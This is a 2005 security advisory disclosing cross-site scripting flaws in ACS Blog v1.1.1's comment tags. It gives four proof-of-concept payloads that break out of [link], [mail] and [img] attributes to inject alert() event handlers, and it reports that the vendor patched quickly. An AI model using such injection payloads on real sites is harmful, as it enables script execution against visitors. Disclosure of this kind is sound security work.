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Multiple XSS vulnerabilities in ACS Blog

from [Dan Crowley] Network Security [Permanent Link]
Subject: Multiple XSS vulnerabilities in ACS Blog
Date: 28 Mar 2005 21:26:23 -0000 


These vulnerabilities have been tested on the latest version of ACS Blog. 
(v1.1.1)

In the comments section of ACS Blog, it is possible to execute an XSS attack 
through the [link], [mail], and [img] tags, due to lack of filtering of single 
quotes and spaces inside the tags.

Examples/PoCs:

[link=http://www.google.com' onmouseover='alert("XSS vulnerability")' o=']Don't 
you wanna see where this link goes?[/link]

[mail=bugtraq@securityfocus.com' onmouseover='alert("XSS vulnerability")' 
o=']Mr. Wiggles[/mail]

[img]http://www.example.com/image.jpg' onload='alert("XSS vulnerability")' 
o='[/img]

[link=http://www.google.com target=_blank'
onmouseover=a=/Vulnerability/;alert(a.source) o=']Hooray[/link]

----------
Vendor responded within 2 hours of notification, notified users with the 
security alert on its main page, and patched the vulnerabilities within another 
couple of hours.
----------

Cheers,
Dan
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